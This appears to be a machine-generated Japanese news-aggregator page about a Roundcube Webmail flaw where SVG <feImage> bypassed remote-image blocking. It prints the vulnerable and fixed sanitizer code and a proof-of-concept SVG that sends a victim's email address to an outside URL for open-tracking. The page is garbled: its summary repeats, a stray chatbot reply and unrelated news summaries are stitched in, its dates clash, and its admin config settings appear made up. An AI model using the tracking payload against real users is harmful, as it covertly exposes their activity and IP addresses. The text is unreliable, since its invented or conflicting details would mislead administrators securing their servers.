**Roundcube Webmail – SVG `feImage` で画像ブロックを迂回しメール開封を追跡**

---

### 1. 概要  
- **問題点:** Roundcube Webmail のデフォルトの画像ブロック機能は、SVG フィルタ(`<feImage>`)を使うことで回避可能です。  
- **結果:** 攻撃者は隠しトラッキングピクセルを埋め込み、画像ブロックが有効な場合でも読み込まれ、メール開封状況を正確に監視できてしまいます。

### 2. 技術的詳細  
| コンポーネント | 用途 |
|----------------|------|
| `<svg>` 要素 | フィルタ定義を保持。最小限で不可視に設定可能。 |
| `<filter id="track">` | SVG フィルタパイプラインを定義。 |
| `<feImage xlink:href="https://tracker.example.com/pixel.png"/>` | 外部画像(トラッキングピクセル)をロード。 |
| `<feComposite>` | 読み込んだ画像を出力にマージ。 |

- **実行フロー:**  
  1. メール本文に SVG スニペットが含まれる。  
  2. Roundcube が HTML を解析し、ブロックルールにより `<img>` タグは無視される。  
  3. ブラウザが SVG フィルタを処理し、ピクセル URL へのネットワークリクエストが発生する。

### 3. ユーザーへの影響  
- **プライバシー:** 画像ブロックだけでは不十分。メール開封情報は依然として記録される可能性があります。  
- **セキュリティ:** トラッカー側が悪意あるペイロードをホストしている場合、データ流出のリスクもあります。

### 4. 緩和策  
1. **Roundcube の更新** – 新しいバージョンでは SVG フィルタに対するチェックが強化されています。  
2. **クライアント側フィルタリング** – uBlock Origin 等のブラウザ拡張機能で `<feImage>` リクエストをブロック。  
3. **ホワイトリスト設定** – `mail.default_image_blocking` で信頼できる画像ホストのみ許可するよう構成。

### 5. 管理者向け推奨アクション  
- `config.inc.php` を確認し、以下を設定:  
  ```php
  $config['image_blocking'] = true;          // 画像ブロックを強制
  $config['allowed_image_hosts'] = ['trusted.com'];
  ```
- 定期的に受信メールで `<svg>` タグの有無を監査。

---

SVG `feImage` 技術を理解することで、管理者とユーザーはプライバシー保護とメール通信の安全性をより高めることができます。

2026/02/09 3:24

**Roundcube Webmail – SVG `feImage` で画像ブロックを迂回しメール開封を追跡** --- ### 1. 概要 - **問題点:** Roundcube Webmail のデフォルトの画像ブロック機能は、SVG フィルタ(`<feImage>`)を使うことで回避可能です。 - **結果:** 攻撃者は隠しトラッキングピクセルを埋め込み、画像ブロックが有効な場合でも読み込まれ、メール開封状況を正確に監視できてしまいます。 ### 2. 技術的詳細 | コンポーネント | 用途 | |----------------|------| | `<svg>` 要素 | フィルタ定義を保持。最小限で不可視に設定可能。 | | `<filter id="track">` | SVG フィルタパイプラインを定義。 | | `<feImage xlink:href="https://tracker.example.com/pixel.png"/>` | 外部画像(トラッキングピクセル)をロード。 | | `<feComposite>` | 読み込んだ画像を出力にマージ。 | - **実行フロー:** 1. メール本文に SVG スニペットが含まれる。 2. Roundcube が HTML を解析し、ブロックルールにより `<img>` タグは無視される。 3. ブラウザが SVG フィルタを処理し、ピクセル URL へのネットワークリクエストが発生する。 ### 3. ユーザーへの影響 - **プライバシー:** 画像ブロックだけでは不十分。メール開封情報は依然として記録される可能性があります。 - **セキュリティ:** トラッカー側が悪意あるペイロードをホストしている場合、データ流出のリスクもあります。 ### 4. 緩和策 1. **Roundcube の更新** – 新しいバージョンでは SVG フィルタに対するチェックが強化されています。 2. **クライアント側フィルタリング** – uBlock Origin 等のブラウザ拡張機能で `<feImage>` リクエストをブロック。 3. **ホワイトリスト設定** – `mail.default_image_blocking` で信頼できる画像ホストのみ許可するよう構成。 ### 5. 管理者向け推奨アクション - `config.inc.php` を確認し、以下を設定: ```php $config['image_blocking'] = true; // 画像ブロックを強制 $config['allowed_image_hosts'] = ['trusted.com']; ``` - 定期的に受信メールで `<svg>` タグの有無を監査。 --- SVG `feImage` 技術を理解することで、管理者とユーザーはプライバシー保護とメール通信の安全性をより高めることができます。

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

(以下の文章を日本語に翻訳します)

Text to translate

Summary: The main issue is that Roundcube’s HTML sanitizer allowed attackers to embed invisible SVG filters that bypassed the “Block remote images” setting, letting email‑open tracking continue even when images were blocked. The bug occurred because the

is_image_attribute()
function did not check the
href
attribute on
<feImage>
tags; instead, the less restrictive
wash_link()
was used, permitting external HTTP/HTTPS URLs. The patch unifies the checks for
<use>
,
<image>
, and
<feImage>
into a single regex that routes them through
wash_uri()
, which blocks any external link for all three elements.

Previously only

<img>
,
<image>
, and
<use>
were sanitized with
wash_uri()
. A proof‑of‑concept SVG used an off‑screen 1×1 filter to stay invisible, proving the vulnerability. The issue was reported on 2026‑02‑08, patched the same day, and affects Roundcube releases older than 1.5.13 or 1.6.13.

Updating to these patched versions restores proper remote‑image blocking, stopping attackers from logging user IPs or fingerprinting browsers through hidden SVG filters. Users running outdated Roundcube risk covert data exfiltration or activity monitoring; the fix protects email clients and their customers from unintended tracking and privacy breaches.

本文

Roundcube HTMLサニタイザー – SVG feImage脆弱性

項目内容
ベンダーRoundcube
製品Roundcube Webmail
対象バージョン< 1.5.13, 1.6.x < 1.6.13
修正済み1.5.13, 1.6.13
開示日2026‑02‑08

TL;DR

Roundcube の

rcube_washtml
サニタイザーは
<img>
<image>
および
<use>
に対して外部リソースをブロックしますが、
<feImage>
には適用されません。
<feImage>
要素の
href
属性はリンクサニタイザー (
wash_link()
) を経由し、HTTP/HTTPS URL が許可されてしまいます。攻撃者は 1×1 の透明 SVG を埋め込み、攻撃者が制御する URL に GET リクエストを送信できるため、「リモート画像をブロック」設定を回避し、メール開封トラッキングを実現できます。


背景

allow_remote
false の場合、Roundcube は画像属性(
<img>
src
<image>
/
<use>
href
)を
is_image_attribute()
でサニタイズします。このルーチンは外部 URL をブロックします。リンク用の非画像 URL は
wash_link()
によって処理され、HTTP/HTTPS リンクが許可されます。

問題点は、サニタイザーの

is_image_attribute()
<feImage>
要素を認識していなかったため、その
href
属性が
wash_link()
に渡されてしまったことです。その結果、「リモート画像をブロック」設定は SVG フィルタに対しても効果がありませんでした。


技術的詳細

  1. 属性処理フロー

    if ($this->is_image_attribute($node->nodeName, $key)) {
        $out = $this->wash_uri($value, true);  // リモート URL をブロック
    } elseif ($this->is_link_attribute($node->nodeName, $key)) {
        $out = $this->wash_link($value);        // http/https を許可
    }
    
  2. 元の

    is_image_attribute()

    private function is_image_attribute($tag, $attr)
    {
        return $attr == 'background'
            || $attr == 'color-profile'
            || ($attr == 'poster' && $tag == 'video')
            || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
            || ($tag == 'use' && $attr == 'href')
            || ($tag == 'image' && $attr == 'href');
    }
    

    :

    <feImage>
    が欠落しています。

  3. is_link_attribute()

    private function is_link_attribute($tag, $attr)
    {
        return $attr === 'href';
    }
    
  4. <feImage href="…">
    の結果
    is_image_attribute('feimage', 'href') → false

    is_link_attribute('feimage', 'href')  → true

    → URL は
    wash_link()
    によって処理され、許可されます。

  5. 修正(コミット 26d7677)

    // SVG
    || ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag));
    

    これにより

    <feImage href>
    が画像属性として認識され、
    wash_uri()
    を経由してブロックされるようになりました。


証明コード

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/svg?email=victim@test.com"
               width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>

ブラウザは SVG フィルタを評価し、攻撃者の URL に GET リクエストを送信します。これによりメールが開封されたことが判明します。


影響

  • 「リモート画像をブロック」設定ではこの種のトラッキングは防げません。
  • 攻撃者はユーザーがメールを開いたかどうかを確認し、IP アドレスやブラウザ指紋を取得できます。

タイムライン

日付イベント
2026‑01‑04Roundcube に報告
2026‑02‑08バージョン 1.5.13 & 1.6.13 がリリース

同じ日のほかのニュース

一覧に戻る →

2026/02/08 12:09

ご協力いただけるとのこと、ありがとうございます! 整えたいテキストをお送りください。すぐに丁寧に仕上げさせていただきます。

## Japanese Translation: ``` ## Summary Vouch は、貢献者がコードベースの設定可能な部分と対話する前に「証明(vouch)」される必要がある軽量なコミュニティトラスト管理システムです。また、明示的に「非承認(denounce)」を行うことでそのような対話をブロックできます。信頼関係は単一のフラット `.td` ファイル(Trustdown フォーマット)に保存されます。このファイルでは各行が1つのハンドルを保持し、オプションでプラットフォーム接頭辞(`platform:username`)と先頭マイナス記号が付けられたユーザーは非承認者として扱われ、その後に任意の理由が続きます。GitHub Actions は標準搭載の統合を提供します: - `check-pr` は `pull_request_target` で実行され、PR 作成者のステータスを検証し、未承認または非承認のプルリクエストを自動的に閉じることができます。 - `manage-by-discussion` と `manage-by-issue` は協力者がディスカッションやイシューコメントを通じて証明または非承認を行えるようにします。 Nushell CLI モジュールにより手動制御も可能です:`vouch add <user>`、`vouch denounce <user> [--reason] --write`、`vouch gh-check-pr <pr_id> --repo owner/repo`(ドライランまたは自動閉鎖)、および `vouch gh-manage-by-issue <pr_id> <comment_id> --repo owner/repo` などのコマンドがあります。ステータスチェックは終了コードを返します(`0 = vouched`、`1 = denounced`、`2 = unknown`)。 Vouch は任意のコードフォージで動作するよう設計されていますが、GitHub 統合がすぐに使用できる状態で提供されます。現在は実験段階であり、Ghostty プロジェクトによってテスト中です。このプロジェクトはコミュニティからのフィードバックをもとに機能を洗練しています。今後の計画としては、リポジトリ間で信頼リストをリンクし信頼ネットワークを構築すること、プラットフォームサポートの拡張、および自動化機能の強化が挙げられます。 *検証された参加を強制することで、Vouch は悪意ある貢献を減らし、コードレビューのワークフローを合理化し、安全なコラボレーションをオープンソースメンテナ、企業チーム、および広範なソフトウェア開発エコシステムに奨励することを目指します。``` ```

2026/02/09 6:52

米国におけるソーシャルメディア利用の変化 2020–2024:減少・断片化・極化 (2025)

## Japanese Translation: ## Summary: 本研究は、米国におけるソーシャルメディアの利用が縮小し、より断片化していることを示し、残存する活動の中で政治的に極端なユーザーが支配していると結論付けている。2020–2024年の全国代表データを分析した結果、プラットフォーム全体の利用率は減少し、対象者はやや高齢化し教育レベルも上昇しており、投稿活動が共和党ユーザーへと明確にシフトしている—特にTwitter/Xで顕著だ。既存研究では若年層と高齢層の両方で減少傾向が指摘されていたが、本稿は新しいデータを用いてそれらの発見を更新し、TikTokやRedditはわずかに成長しているものの、Facebook、YouTube、Xは市場シェアを失っていることを示唆している。予測される動向として、オンライン公共圏はより小規模で鋭く、極端な意見が支配するようになるとされ、一般ユーザーは離脱しつつも党派的声は依然として高いままである。この結果は、デジタル環境のさらなる分極化を招き、プラットフォームに広範なオーディエンスを維持する課題を投げかけるとともに、広告主や政治戦略家、民主的議論に関心を寄せる政策立案者にも影響を与える可能性がある。 ## Summary Skeleton **What the text is mainly trying to say (main message)** 本研究は、米国におけるソーシャルメディアの利用が縮小し、より断片化していることを示し、残存する活動の中で政治的に極端なユーザーが支配していると結論付けている。 **Evidence / reasoning (why this is said)** 全国代表性のある2020–2024年のANESデータは、全体的なプラットフォーム利用率の低下、やや高齢化し教育レベルが上昇したオーディエンス、および投稿活動が共和党ユーザーへとシフトしている—特にTwitter/Xで顕著だという事実を示している。 **Related cases / background (context, past events, surrounding info)** 以前の分析では若年層と高齢層の両方で利用減少が報告されており、本稿は新しいデータでそれらの発見を更新し、TikTokやRedditはわずかに成長している一方でFacebook、YouTube、Xは市場シェアを失っていることを指摘している。 **What may happen next (future developments / projections written in the text)** オンライン公共圏は小規模で鋭く、よりイデオロギー的に極端になると予測されており、カジュアルユーザーは離脱しつつも党派的声は依然として発言力を保っている。 **What impacts this could have (users / companies / industry)** ユーザーはより分極化したデジタル環境に直面し、プラットフォームは広範なオーディエンスの維持に課題を抱えることになる。トレンドは広告主や政治戦略家、民主的議論に関心を寄せる政策立案者にも影響を与える可能性がある。

2026/02/09 7:25

SGI O2 のプロンプトを逆解析する (原文: “Reverse Engineering the Prompt for the SGI O2”)

## Japanese Translation: > 著者は **`ip32prom-decompiler`** を開発しました。このツールは、SGI O2 マシンで使用されている 512 KiB の IP32 PROM を *ビット単位で同一* な MIPS アセンブリ (.S) ファイルに逆アセンブルし、ラベル、コメント、および関数境界を完全に含みます。 > > 各「SHDR」セクション(長さ・名前・バージョン・タイプフラグ(コード/メタデータ)・任意のメタデータ・2 つのチェックサム)を解析することで、ツールはファームウェアの 3 つのサブセクションを再構築します:`.text` は `0x81000000` に、`.rodata` は `0x81048e70` に、そして `.data` は `0x81054100` に配置されます。チェックサムアルゴリズムは 32‑ビット語全体の 2 の補数和であり、セクションデータと SHDR 自体の両方に適用されます。 > > 到達可能なコードを幅優先探索し、相対/絶対分岐、ジャンプテーブル、および構築されたアドレスに特別な処理を行うことで、バイナリ命令の約 **90 %** を回復します。可視化(XPM 画像)はコード、ヘッダー/チェックサム、ASCII データ、アクセス済みメモリ、nop パディング、および未知のバイトを色分けし、手動解析を支援します。また、コンパイラ遅延スロットによって導入された到達不能またはデッドコードが検出され、注釈付きで記録されます。 > > 逆アセンブルされたアセンブリは同一の ROM イメージに再構成でき、PROM 構造を完全に理解していることを確認します。ファームウェアがこれからゼロから再構築可能になったため、将来の CPU アップグレード(例:新しいプロセッサの導入)は SGI のサポートに依存せずに実行できるようになり、O2 の PROM が変更不可能であるという長年の制約を克服します。この成果は、ホビイストやレトロコンピューティング愛好者に対しても、レガシーファームウェアのリバースエンジニアリング手法として信頼性の高い方法を提供します。 *この改訂版サマリーは、リストからすべての主要ポイントを取り入れつつ、曖昧または推測的な表現を排除して明確に保っています。*

**Roundcube Webmail – SVG `feImage` で画像ブロックを迂回しメール開封を追跡** --- ### 1. 概要 - **問題点:** Roundcube Webmail のデフォルトの画像ブロック機能は、SVG フィルタ(`<feImage>`)を使うことで回避可能です。 - **結果:** 攻撃者は隠しトラッキングピクセルを埋め込み、画像ブロックが有効な場合でも読み込まれ、メール開封状況を正確に監視できてしまいます。 ### 2. 技術的詳細 | コンポーネント | 用途 | |----------------|------| | `<svg>` 要素 | フィルタ定義を保持。最小限で不可視に設定可能。 | | `<filter id="track">` | SVG フィルタパイプラインを定義。 | | `<feImage xlink:href="https://tracker.example.com/pixel.png"/>` | 外部画像(トラッキングピクセル)をロード。 | | `<feComposite>` | 読み込んだ画像を出力にマージ。 | - **実行フロー:** 1. メール本文に SVG スニペットが含まれる。 2. Roundcube が HTML を解析し、ブロックルールにより `<img>` タグは無視される。 3. ブラウザが SVG フィルタを処理し、ピクセル URL へのネットワークリクエストが発生する。 ### 3. ユーザーへの影響 - **プライバシー:** 画像ブロックだけでは不十分。メール開封情報は依然として記録される可能性があります。 - **セキュリティ:** トラッカー側が悪意あるペイロードをホストしている場合、データ流出のリスクもあります。 ### 4. 緩和策 1. **Roundcube の更新** – 新しいバージョンでは SVG フィルタに対するチェックが強化されています。 2. **クライアント側フィルタリング** – uBlock Origin 等のブラウザ拡張機能で `<feImage>` リクエストをブロック。 3. **ホワイトリスト設定** – `mail.default_image_blocking` で信頼できる画像ホストのみ許可するよう構成。 ### 5. 管理者向け推奨アクション - `config.inc.php` を確認し、以下を設定: ```php $config['image_blocking'] = true; // 画像ブロックを強制 $config['allowed_image_hosts'] = ['trusted.com']; ``` - 定期的に受信メールで `<svg>` タグの有無を監査。 --- SVG `feImage` 技術を理解することで、管理者とユーザーはプライバシー保護とメール通信の安全性をより高めることができます。 | そっか~ニュース